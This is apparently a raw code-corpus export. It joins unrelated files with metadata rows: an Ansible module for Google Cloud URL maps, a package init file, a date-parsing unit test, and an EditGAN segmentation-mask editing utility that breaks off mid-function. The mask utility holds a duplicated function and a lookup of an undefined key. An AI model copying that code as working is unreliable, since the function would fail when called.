- A list of header names for headers that need to be removed
from the response prior to sending the response back to
the client.
returned: success
type: list
weight:
description:
- Specifies the fraction of traffic sent to backendService,
computed as weight / (sum of all weightedBackendService weights
in routeAction) . The selection of a backend service is determined
only for new traffic. Once a user's request has been directed
to a backendService, subsequent requests will be sent to the
same backendService as determined by the BackendService's
session affinity policy.
- The value must be between 0 and 1000 .
returned: success
type: int
urlRedirect:
description:
- When a path pattern is matched, the request is redirected to a URL
specified by urlRedirect. If urlRedirect is specified, service or
routeAction must not be set.
returned: success
type: complex
contains:
hostRedirect:
description:
- The host that will be used in the redirect response instead of
the one that was supplied in the request. The value must be between
1 and 255 characters.
returned: success
type: str
httpsRedirect:
description:
- If set to true, the URL scheme in the redirected request is set
to https.
- If set to false, the URL scheme of the redirected request will
remain the same as that of the request. This must only be set
for UrlMaps used in TargetHttpProxys. Setting this true for TargetHttpsProxy
is not permitted. The default is set to false.
returned: success
type: bool
pathRedirect:
description:
- The path that will be used in the redirect response instead of
the one that was supplied in the request. pathRedirect cannot
be supplied together with prefixRedirect. Supply one alone or
neither. If neither is supplied, the path of the original request
will be used for the redirect.
- The value must be between 1 and 1024 characters.
returned: success
type: str
prefixRedirect:
description:
- The prefix that replaces the prefixMatch specified in the HttpRouteRuleMatch,
retaining the remaining portion of the URL before redirecting
the request. prefixRedirect cannot be supplied together with pathRedirect.
Supply one alone or neither. If neither is supplied, the path
of the original request will be used for the redirect. The value
must be between 1 and 1024 characters.
returned: success
type: str
redirectResponseCode:
description:
- 'The HTTP Status code to use for this RedirectAction. Supported
values are: * MOVED_PERMANENTLY_DEFAULT, which is the default
value and corresponds to 301.'
- "* FOUND, which corresponds to 302."
- "* SEE_OTHER which corresponds to 303."
- "* TEMPORARY_REDIRECT, which corresponds to 307. In this case,
the request method will be retained."
- "* PERMANENT_REDIRECT, which corresponds to 308. In this case,
the request method will be retained."
returned: success
type: str
stripQuery:
description:
- If set to true, any accompanying query portion of the original
URL is removed prior to redirecting the request. If set to false,
the query portion of the original URL is retained.
returned: success
type: bool
defaultUrlRedirect:
description:
- When none of the specified hostRules match, the request is redirected
to a URL specified by defaultUrlRedirect. If defaultUrlRedirect is specified,
defaultService or defaultRouteAction must not be set.
returned: success
type: complex
contains:
hostRedirect:
description:
- The host that will be used in the redirect response instead of the
one that was supplied in the request. The value must be between 1
and 255 characters.
returned: success
type: str
httpsRedirect:
description:
- If set to true, the URL scheme in the redirected request is set to
https. If set to false, the URL scheme of the redirected request will
remain the same as that of the request. This must only be set for
UrlMaps used in TargetHttpProxys. Setting this true for TargetHttpsProxy
is not permitted. The default is set to false.
returned: success
type: bool
pathRedirect:
description:
- The path that will be used in the redirect response instead of the
one that was supplied in the request. pathRedirect cannot be supplied
together with prefixRedirect. Supply one alone or neither. If neither
is supplied, the path of the original request will be used for the
redirect. The value must be between 1 and 1024 characters.
returned: success
type: str
prefixRedirect:
description:
- The prefix that replaces the prefixMatch specified in the HttpRouteRuleMatch,
retaining the remaining portion of the URL before redirecting the
request.
- prefixRedirect cannot be supplied together with pathRedirect. Supply
one alone or neither. If neither is supplied, the path of the original
request will be used for the redirect. The value must be between 1
and 1024 characters.
returned: success
type: str
redirectResponseCode:
description:
- 'The HTTP Status code to use for this RedirectAction. Supported values
are: * MOVED_PERMANENTLY_DEFAULT, which is the default value and corresponds
to 301.'
- "* FOUND, which corresponds to 302."
- "* SEE_OTHER which corresponds to 303."
- "* TEMPORARY_REDIRECT, which corresponds to 307. In this case, the
request method will be retained."
- "* PERMANENT_REDIRECT, which corresponds to 308. In this case, the
request method will be retained."
returned: success
type: str
stripQuery:
description:
- If set to true, any accompanying query portion of the original URL
is removed prior to redirecting the request. If set to false, the
query portion of the original URL is retained.
returned: success
type: bool
tests:
description:
- The list of expected URL mappings. Requests to update this UrlMap will succeed
only if all of the test cases pass.
returned: success
type: complex
contains:
description:
description:
- Description of this test case.
returned: success
type: str
host:
description:
- Host portion of the URL.
returned: success
type: str
path:
description:
- Path portion of the URL.
returned: success
type: str
service:
description:
- A reference to expected RegionBackendService resource the given URL should
be mapped to.
returned: success
type: dict
defaultUrlRedirect:
description:
- When none of the specified hostRules match, the request is redirected to a
URL specified by defaultUrlRedirect. If defaultUrlRedirect is specified, defaultService
or defaultRouteAction must not be set.
returned: success
type: complex
contains:
hostRedirect:
description:
- The host that will be used in the redirect response instead of the one
that was supplied in the request. The value must be between 1 and 255
characters.
returned: success
type: str
httpsRedirect:
description:
- If set to true, the URL scheme in the redirected request is set to https.
If set to false, the URL scheme of the redirected request will remain
the same as that of the request. This must only be set for UrlMaps used
in TargetHttpProxys. Setting this true for TargetHttpsProxy is not permitted.
The default is set to false.
returned: success
type: bool
pathRedirect:
description:
- The path that will be used in the redirect response instead of the one
that was supplied in the request. pathRedirect cannot be supplied together
with prefixRedirect. Supply one alone or neither. If neither is supplied,
the path of the original request will be used for the redirect. The value
must be between 1 and 1024 characters.
returned: success
type: str
prefixRedirect:
description:
- The prefix that replaces the prefixMatch specified in the HttpRouteRuleMatch,
retaining the remaining portion of the URL before redirecting the request.
- prefixRedirect cannot be supplied together with pathRedirect. Supply one
alone or neither. If neither is supplied, the path of the original request
will be used for the redirect. The value must be between 1 and 1024 characters.
returned: success
type: str
redirectResponseCode:
description:
- 'The HTTP Status code to use for this RedirectAction. Supported values
are: * MOVED_PERMANENTLY_DEFAULT, which is the default value and corresponds
to 301.'
- "* FOUND, which corresponds to 302."
- "* SEE_OTHER which corresponds to 303."
- "* TEMPORARY_REDIRECT, which corresponds to 307. In this case, the request
method will be retained."
- "* PERMANENT_REDIRECT, which corresponds to 308. In this case, the request
method will be retained."
returned: success
type: str
stripQuery:
description:
- If set to true, any accompanying query portion of the original URL is
removed prior to redirecting the request. If set to false, the query portion
of the original URL is retained.
returned: success
type: bool
region:
description:
- A reference to the region where the url map resides.
returned: success
type: str
'''
################################################################################
# Imports
################################################################################
from ansible_collections.google.cloud.plugins.module_utils.gcp_utils import navigate_hash, GcpSession, GcpModule, GcpRequest
import json
################################################################################
# Main
################################################################################
def main():
module = GcpModule(argument_spec=dict(filters=dict(type='list', elements='str'), region=dict(required=True, type='str')))
if not module.params['scopes']:
module.params['scopes'] = ['https://www.googleapis.com/auth/compute']
return_value = {'resources': fetch_list(module, collection(module), query_options(module.params['filters']))}
module.exit_json(**return_value)
def collection(module):
return "https://compute.googleapis.com/compute/v1/projects/{project}/regions/{region}/urlMaps".format(**module.params)
def fetch_list(module, link, query):
auth = GcpSession(module, 'compute')
return auth.list(link, return_if_object, array_name='items', params={'filter': query})
def query_options(filters):
if not filters:
return ''
if len(filters) == 1:
return filters[0]
else:
queries = []
for f in filters:
# For multiple queries, all queries should have ()
if f[0] != '(' and f[-1] != ')':
queries.append("(%s)" % ''.join(f))
else:
queries.append(f)
return ' '.join(queries)
def return_if_object(module, response):
# If not found, return nothing.
if response.status_code == 404:
return None
# If no content, return nothing.
if response.status_code == 204:
return None
try:
module.raise_for_status(response)
result = response.json()
except getattr(json.decoder, 'JSONDecodeError', ValueError) as inst:
module.fail_json(msg="Invalid JSON response with error: %s" % inst)
if navigate_hash(result, ['error', 'errors']):
module.fail_json(msg=navigate_hash(result, ['error', 'errors']))
return result
if __name__ == "__main__":
main()
| 50.306811 | 133 | 0.515211 | 7,922 | 83,459 | 5.41025 | 0.101237 | 0.064746 | 0.082011 | 0.034904 | 0.788101 | 0.771465 | 0.757023 | 0.739874 | 0.731125 | 0.723145 | 0 | 0.010557 | 0.443883 | 83,459 | 1,658 | 134 | 50.337153 | 0.912891 | 0.010029 | 0 | 0.764228 | 0 | 0.006879 | 0.978348 | 0.026352 | 0 | 0 | 0 | 0 | 0 | 1 | 0.003127 | false | 0.000625 | 0.001876 | 0.000625 | 0.010006 | 0.001876 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
62304d26020d515ea932956b0df17177f96ab4e9 | 246 | py | Python | .tools/properties-consistency/searcher/__init__.py | groupe-sii/ogham | cb303d2168a5f2a0bca69b4b5b92bdb3de90cfab | [
"Apache-2.0"
] | 18 | 2016-04-28T10:19:30.000Z | 2021-10-05T12:04:39.000Z | .tools/properties-consistency/searcher/__init__.py | groupe-sii/ogham | cb303d2168a5f2a0bca69b4b5b92bdb3de90cfab | [
"Apache-2.0"
] | 99 | 2015-08-13T13:24:27.000Z | 2021-09-24T06:45:57.000Z | .tools/properties-consistency/searcher/__init__.py | groupe-sii/ogham | cb303d2168a5f2a0bca69b4b5b92bdb3de90cfab | [
"Apache-2.0"
] | 16 | 2015-09-08T09:21:22.000Z | 2022-03-04T10:43:20.000Z | from .search_props import DocumentedProperty
from .search_props import SearchFilter
from .search_props import Searcher
from .searcher import findPropertiesDefinedInCode
from .searcher import findPropertiesInDocs
from .searcher import findUsages
| 30.75 | 49 | 0.873984 | 27 | 246 | 7.851852 | 0.37037 | 0.141509 | 0.212264 | 0.29717 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.101626 | 246 | 7 | 50 | 35.142857 | 0.959276 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
625c7e7677d07d4bc49be9b43e20a56315023867 | 1,630 | py | Python | tests/test_utils.py | s-alexey/rwby | 7da1f3ae4e7c8d590bbd66023ea717f0b10e7ba4 | [
"MIT"
] | null | null | null | tests/test_utils.py | s-alexey/rwby | 7da1f3ae4e7c8d590bbd66023ea717f0b10e7ba4 | [
"MIT"
] | null | null | null | tests/test_utils.py | s-alexey/rwby | 7da1f3ae4e7c8d590bbd66023ea717f0b10e7ba4 | [
"MIT"
] | null | null | null | import unittest
import datetime
from rwby.utils import to_datetime
class DateUtilsTests(unittest.TestCase):
def test_to_datetime(self):
d = datetime.date(day=31, month=12, year=1999)
self.assertEqual(to_datetime('00:00, 01 January', d),
datetime.datetime(day=1, month=1, year=2000, minute=0, hour=0))
self.assertEqual(to_datetime('01:00, 01 January', d),
datetime.datetime(day=1, month=1, year=2000, minute=0, hour=1))
self.assertEqual(to_datetime('00:05, 01 January', d),
datetime.datetime(day=1, month=1, year=2000, minute=5, hour=0))
d = datetime.date(day=30, month=11, year=1999)
self.assertEqual(to_datetime('00:00, 01 Dec', d),
datetime.datetime(day=1, month=12, year=1999, minute=0, hour=0))
self.assertEqual(to_datetime('01:00, 01 Dec', d),
datetime.datetime(day=1, month=12, year=1999, minute=0, hour=1))
self.assertEqual(to_datetime('00:05, 01 Dec', d),
datetime.datetime(day=1, month=12, year=1999, minute=5, hour=0))
d = datetime.date(day=30, month=11, year=1999)
self.assertEqual(to_datetime('00:00', d),
datetime.datetime(day=30, month=11, year=1999, minute=0, hour=0))
self.assertEqual(to_datetime('01:00', d),
datetime.datetime(day=30, month=11, year=1999, minute=0, hour=1))
self.assertEqual(to_datetime('00:05', d),
datetime.datetime(day=30, month=11, year=1999, minute=5, hour=0))
| 50.9375 | 90 | 0.588344 | 229 | 1,630 | 4.135371 | 0.152838 | 0.114044 | 0.161563 | 0.237592 | 0.854277 | 0.854277 | 0.847941 | 0.847941 | 0.847941 | 0.810982 | 0 | 0.127713 | 0.265031 | 1,630 | 31 | 91 | 52.580645 | 0.662771 | 0 | 0 | 0.076923 | 0 | 0 | 0.064417 | 0 | 0 | 0 | 0 | 0 | 0.346154 | 1 | 0.038462 | false | 0 | 0.115385 | 0 | 0.192308 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
6260112bdc415c936f9ea7fffa91377666859fce | 52,406 | py | Python | utils/mask_manipulate_utils.py | dubtor/EditGAN-Robert | 8e6d80e7647c3536827f11cf0a9abf51c42794b2 | [
"BSD-2-Clause"
] | 110 | 2022-02-14T19:36:45.000Z | 2022-03-31T06:22:15.000Z | utils/mask_manipulate_utils.py | dubtor/EditGAN-Robert | 8e6d80e7647c3536827f11cf0a9abf51c42794b2 | [
"BSD-2-Clause"
] | 5 | 2022-02-21T07:56:38.000Z | 2022-03-31T17:20:09.000Z | utils/mask_manipulate_utils.py | dubtor/EditGAN-Robert | 8e6d80e7647c3536827f11cf0a9abf51c42794b2 | [
"BSD-2-Clause"
] | 14 | 2022-02-15T09:38:45.000Z | 2022-03-30T20:32:46.000Z | # Copyright (c) 2022, NVIDIA CORPORATION. All rights reserved.
#
# NVIDIA CORPORATION and its licensors retain all intellectual property
# and proprietary rights in and to this software, related documentation
# and any modifications thereto. Any use, reproduction, disclosure or
# distribution of this software and related documentation without an express
# license agreement from NVIDIA CORPORATION is strictly prohibited.
import numpy as np
import copy
import cv2
import PIL
def mask_to_bbox(mask):
mask = (mask > 0)
if np.all(~mask):
return [0, 0, 0, 0]
assert len(mask.shape) == 2
rows = np.any(mask, axis=1)
cols = np.any(mask, axis=0)
rmin, rmax = np.where(rows)[0][[0, -1]]
cmin, cmax = np.where(cols)[0][[0, -1]]
return [cmin.item(), rmin.item(), cmax.item(), rmax.item()] # xywh
palette = [1.0000, 1.0000, 1.0000,
0.4420, 0.5100, 0.4234,
0.8562, 0.9537, 0.3188,
0.2405, 0.4699, 0.9918,
0.8434, 0.9329, 0.7544,
0.3748, 0.7917, 0.3256,
0.0190, 0.4943, 0.3782,
0.7461, 0.0137, 0.5684,
0.1644, 0.2402, 0.7324,
0.0200, 0.4379, 0.4100,
0.5853, 0.8880, 0.6137,
0.7991, 0.9132, 0.9720,
0.6816, 0.6237, 0.8562,
0.9981, 0.4692, 0.3849,
0.5351, 0.8242, 0.2731,
0.1747, 0.3626, 0.8345,
0.5323, 0.6668, 0.4922,
0.2122, 0.3483, 0.4707,
0.6844, 0.1238, 0.1452,
0.3882, 0.4664, 0.1003,
0.2296, 0.0401, 0.3030,
0.5751, 0.5467, 0.9835,
0.1308, 0.9628, 0.0777,
0.2849, 0.1846, 0.2625,
0.9764, 0.9420, 0.6628,
0.3893, 0.4456, 0.6433,
0.8705, 0.3957, 0.0963,
0.6117, 0.9702, 0.0247,
0.3668, 0.6694, 0.3117,
0.6451, 0.7302, 0.9542,
0.6171, 0.1097, 0.9053,
0.3377, 0.4950, 0.7284,
0.1655, 0.9254, 0.6557,
0.9450, 0.6721, 0.6162]
palette = [int(item * 255) for item in palette]
def color_mask_to_seg(mask):
seg_mask = np.zeros((mask.shape[0], mask.shape[1]))
print(seg_mask.shape)
rgb_to_id_dict = {}
for i in range(int(len(palette) / 3)):
color = palette[3 * i: 3 * i + 3]
ids1 = np.all(mask == np.array(color), 2)
seg_mask[ids1 == 1] = i
return seg_mask
################################ Bird ################################
bird_semantic_ids = {"beak": [3, 10], "eyes": [11], "tail": [18, 16], "wing": [20], "head": [3, 10, 9, 11, 6],
"belly": [5, 18, 16]}
def delete_tail(source_mask):
h, w = source_mask.shape[:2]
roi = np.zeros((source_mask.shape[0], source_mask.shape[1]))
new_mask = copy.deepcopy(source_mask)
ids = bird_semantic_ids["tail"]
delete = copy.deepcopy(source_mask * 0.)
for id in ids:
delete += (new_mask == id)
delete = (delete > 0)
delete = delete.astype(np.uint8)
new_mask[delete > 0] = 0
return new_mask, delete
def belly_enlarge(source_mask, scale):
ids = bird_semantic_ids['belly']
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
new_mask[roi] = 0
ref_mask = ref_mask * roi
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
A = np.float32([[1, 0, 0], [0, 1, 20]])
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
new_mask[ref_mask == id] = id
all_roi += roi
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (new_mask == id)
all_roi += roi
return new_mask, (all_roi > 0)
def tail_large(source_mask, scale):
ids = bird_semantic_ids['tail']
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
new_mask[roi] = 0
ref_mask = ref_mask * roi
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
new_mask[ref_mask == id] = id
all_roi += roi
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (new_mask == id)
all_roi += roi
return new_mask, (all_roi > 0)
def wing_enlarge(source_mask, scale):
ids = bird_semantic_ids['wing']
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
new_mask[roi] = 0
ref_mask = ref_mask * roi
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
A = np.float32([[1, 0, -30], [0, 1, 30]])
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
new_mask[ref_mask == id] = id
all_roi += roi
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (new_mask == id)
all_roi += roi
return new_mask, (all_roi > 0)
def wing_rotate(source_mask):
ids = bird_semantic_ids['wing']
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
new_mask[roi] = 1
ref_mask = ref_mask * roi
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D((bbox[2], bbox[0]), -20, 1)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
A = np.float32([[1, 0, -10], [0, 1, 30]])
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
new_mask[ref_mask == id] = id
all_roi += roi
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (new_mask == id)
all_roi += roi
return new_mask, (all_roi > 0)
def head_rotate(source_mask):
ids = bird_semantic_ids['head']
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
new_mask[roi] = 0
ref_mask = ref_mask * roi
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 30, 1)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
new_mask[ref_mask == id] = id
all_roi += roi
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (new_mask == id)
all_roi += roi
return new_mask, (all_roi > 0)
def delete_beak(source_mask):
h, w = source_mask.shape[:2]
roi = np.zeros((source_mask.shape[0], source_mask.shape[1]))
new_mask = copy.deepcopy(source_mask)
ids = bird_semantic_ids["beak"]
delete = copy.deepcopy(source_mask * 0.)
for id in ids:
delete += (new_mask == id)
delete = (delete > 0)
delete = delete.astype(np.uint8)
new_mask[delete > 0] = 0
return new_mask, delete
def wide_beak_12(source_mask, factor):
h, w = source_mask.shape[:2]
roi = np.zeros((source_mask.shape[0], source_mask.shape[1]))
new_mask = copy.deepcopy(source_mask)
ids = bird_semantic_ids["beak"]
delete = copy.deepcopy(source_mask * 0.)
for id in ids:
delete += (new_mask == id)
delete = (delete > 0)
delete = delete.astype(np.uint8)
new_mask[delete > 0] = 9
target_mask = copy.deepcopy(source_mask)
target_mask[delete == 0] = 0
target_mask_res = cv2.resize(target_mask, (int(factor * w), h), interpolation=cv2.INTER_NEAREST)
target_mask_res = target_mask_res[:, -512:]
A = np.float32([[1, 0, 100], [0, 1, 0]])
target_mask_res = cv2.warpAffine(target_mask_res.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
roi += (target_mask_res == id)
roi = (delete + roi) > 0
for id in ids:
new_mask[(target_mask_res == id)] = id
return new_mask, roi
def delete_tail(source_mask):
h, w = source_mask.shape[:2]
roi = np.zeros((source_mask.shape[0], source_mask.shape[1]))
new_mask = copy.deepcopy(source_mask)
ids = bird_semantic_ids["tail"]
delete = copy.deepcopy(source_mask * 0.)
for id in ids:
delete += (new_mask == id)
delete = (delete > 0)
delete = delete.astype(np.uint8)
new_mask[delete > 0] = 0
return new_mask, delete
def delete_wing(source_mask):
h, w = source_mask.shape[:2]
roi = np.zeros((source_mask.shape[0], source_mask.shape[1]))
new_mask = copy.deepcopy(source_mask)
ids = bird_semantic_ids["wing"]
delete = copy.deepcopy(source_mask * 0.)
for id in ids:
delete += (new_mask == id)
delete = (delete > 0)
delete = delete.astype(np.uint8)
new_mask[delete > 0] = 0
return new_mask, delete
def wide_beak(source_mask, factor):
h, w = source_mask.shape[:2]
roi = np.zeros((source_mask.shape[0], source_mask.shape[1]))
new_mask = copy.deepcopy(source_mask)
ids = bird_semantic_ids["beak"]
delete = copy.deepcopy(source_mask * 0.)
for id in ids:
delete += (new_mask == id)
delete = (delete > 0)
delete = delete.astype(np.uint8)
new_mask[delete > 0] = 0
target_mask = copy.deepcopy(source_mask)
target_mask[delete == 0] = 0
target_mask_res = cv2.resize(target_mask, (int(factor * w), h), interpolation=cv2.INTER_NEAREST)
target_mask_res = target_mask_res[:, -512:]
A = np.float32([[1, 0, 200], [0, 1, 0]])
target_mask_res = cv2.warpAffine(target_mask_res.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
roi += (target_mask_res == id)
roi = (delete + roi) > 0
for id in ids:
new_mask[(target_mask_res == id)] = id
return new_mask, roi
def bird_enlarge_beak(source_mask, scale):
ids = bird_semantic_ids['beak']
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
new_mask[roi] = 0
ref_mask = ref_mask * roi
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
new_mask[ref_mask == id] = id
all_roi += roi
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (new_mask == id)
all_roi += roi
return new_mask, (all_roi > 0)
def bird_enlarge_eye(source_mask, scale):
ids = bird_semantic_ids['eyes']
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
roi += (ref_mask == ids[0])
roi = (roi > 0)
new_mask[roi] = 0
ref_mask = ref_mask * roi
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
new_mask[ref_mask == ids[0]] = ids[0]
all_roi += roi
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (new_mask == id)
all_roi += roi
return new_mask, (all_roi > 0)
################################ Bedroom ################################
#
# ['background', 'bed', 'bed***footboard', 'bed***headboard', 'bed***side rail',
# 'carpet', 'ceiling', 'ceiling fan***blade', 'curtain', 'cushion', 'floor',
# 'night table', 'night table***top', 'picture', 'pillow', 'table lamp***column', '
# table lamp***shade', 'wall', 'pane']
#
bedroom_semantic_ids = {"pillow": [14], "picture": [13]}
def add_picture(source_mask, target_mask):
ids = bedroom_semantic_ids['picture']
h, w = source_mask.shape[:2]
new_mask = copy.deepcopy(source_mask)
ref_mask = copy.deepcopy(target_mask)
roi = copy.deepcopy(target_mask * 0.)
for id in ids:
roi += (ref_mask == id)
ref_mask = ref_mask * roi
for id in ids:
new_mask[(ref_mask == id)] = id
for id in ids:
roi += (new_mask == id)
return new_mask, (roi > 0)
def delete_picture(source_mask):
ids = bedroom_semantic_ids['picture']
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
ref_mask = ref_mask
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
new_mask[roi] = 17
all_roi += roi
return new_mask, (all_roi > 0)
def delete_pillow(source_mask):
ids = bedroom_semantic_ids['pillow']
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
ref_mask = ref_mask
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
new_mask[roi] = 1
all_roi += roi
return new_mask, (all_roi > 0)
################################ Car ################################
# ['background', 'back bumper', 'bumper', 'car body', 'car_light_right', 'car_light_left',
# 'door_back', 'fender','door_front', 'grilles', 'back handle', 'fronthandle', 'hoods', 'license_plate_front',
# 'licence_plate_back','logo','mirror','roof','running boards', 'taillight right',
# 'taillight left','back wheel', 'front wheel','trunks','wheelhub_back','wheelhub_front','spoke_back',
# 'spoke_front', 'door_window_back', 'back windshield', 'door_window_front', 'windshield'
car_semantic_ids = {"frontlight": [4, 5], "wheel": [21, 22, 24, 25, 26, 27], "frontwheel": [22, 25, 27],
"handle": [10, 11],
"mirror": [16], "licenseplate": [13, 14], "spoke": [26, 27],
"window": [16, 17, 30, 28], "Sampling": [16, 17, 30, 28], "backwindow": [28],
"carback": [28, 29, 17]}
def add_back_window(source_mask):
ids = car_semantic_ids['backwindow']
h, w = source_mask.shape[:2]
new_mask = copy.deepcopy(source_mask)
ref_mask = copy.deepcopy(source_mask)
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
ref_mask = ref_mask * roi
bbox = mask_to_bbox(roi)
# A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, 2)
# ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
ref_mask = cv2.resize(ref_mask, (int(5 * w), h), interpolation=cv2.INTER_NEAREST)
ref_mask = ref_mask[:, -512:]
A = np.float32([[1, 0, 100], [0, 1, -20]])
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
new_mask[(ref_mask == id)] = id
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
for id in ids:
all_roi += (new_mask == id)
return new_mask, (all_roi > 0)
def delete_backwindshield(source_mask):
ids = car_semantic_ids['backwindshield']
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
ref_mask = ref_mask
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
kernel = np.ones((5, 5), np.uint8)
roi = cv2.dilate(np.float32(roi), kernel, iterations=3).astype(np.uint8)
roi = (roi > 0)
new_mask[roi] = 0
all_roi += roi
ref_mask = copy.deepcopy(source_mask)
# new_mask[ (ref_mask ==16)] = 16
new_mask[(ref_mask == 31)] = 31
return new_mask, (all_roi > 0)
def delete_sidewindow(source_mask):
ids = car_semantic_ids['window']
